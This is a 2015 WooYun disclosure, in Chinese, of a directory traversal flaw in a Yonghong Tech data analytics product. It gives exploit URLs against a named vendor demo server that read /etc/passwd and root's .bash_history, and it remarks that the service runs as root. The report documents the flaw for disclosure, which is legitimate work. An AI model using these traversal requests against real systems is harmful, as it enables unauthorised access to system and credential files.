漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0134577
漏洞标题：永洪科技旗下某数据分析产品通用漏洞
相关厂商：yonghongtech.com
漏洞作者： Busliv
提交时间：2015-08-16 23:55
修复时间：2015-09-30 23:56
公开时间：2015-09-30 23:56
漏洞类型：任意文件遍历/下载
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-09-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
根据官方统计已经数百家合作厂商，不应该啊，感谢剑心妹子的提醒
详细说明：
其实是之前打的一个人人车的漏洞，开始以为是自主研发的，原来是永洪科技提供的一套解决方案
官方domo演示
地址：http://analytics.yonghongtech.com:8080/bi/Viewer
问题url：http://analytics.yonghongtech.com:8080/bi/Viewer?proc=2&resource=../../../../../../../etc/passwd
影响还是比较大的，因为domo默认安装就是root权限.
可以查看root目录的/root/.bash_history
url：/bi/Viewer?proc=2&resource=../../../../../../../root/.bash_history
漏洞证明：
ps
厂商你的数据库密码已经泄露
通用性已经在其中能给一个合作厂商人人车中证明，
危害影响请移步到 WooYun-2015-132409
修复方案：
限制遍历目录
版权声明：转载请注明来源 Busliv@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)